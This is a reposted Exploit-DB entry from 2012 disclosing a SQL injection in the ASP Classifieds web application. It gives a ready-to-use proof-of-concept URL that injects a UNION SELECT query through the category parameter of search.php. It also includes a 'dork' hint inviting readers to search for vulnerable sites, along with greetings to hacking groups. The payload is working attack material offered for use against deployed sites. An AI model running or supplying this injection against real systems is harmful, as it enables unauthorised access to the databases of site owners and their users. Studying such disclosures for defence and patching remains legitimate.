ASP Classifieds – SQL Injection - 体验盒子

作者： r45c4l

日期： 2012-03-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18613/

# Exploit Title: ASP Classifieds Sql Injection
# Date: 17/03/2012
# Author: r45c4l
# Email: infosecpirate@gmail.com
# Script url: http://preproject.com/pclasp/home/default.asp
# Version: N/A
# CVE : ()

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Product Description :

ASP Classifieds is one of the most customizable Classified ad program
that exist for ASP and Access. Unlimited Images , unlimited categories
and much much more makes it perfect for those who wants to set up a used
stamps classifieds to those wanting to show and sell real estates. 


Product Cost : 58$



=======================Exploit====================================
---ICW---



[ EXPL0!T ]

SQL Injection
p0c -
http://SERVER/classi/search.php?category=[SQli]

PoC - 

http://SERVER/classi/search.php?category=-1+union+all+select+version()--

[Note: Tested on demo website]

d0rk - use your brain ;)

===========================================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0,
Hoody, sam

All members of ICW, AH and darkc0de, and all Indian Hackers



Special Greetz to : b4ltazar and s1nner_01


=== End () ====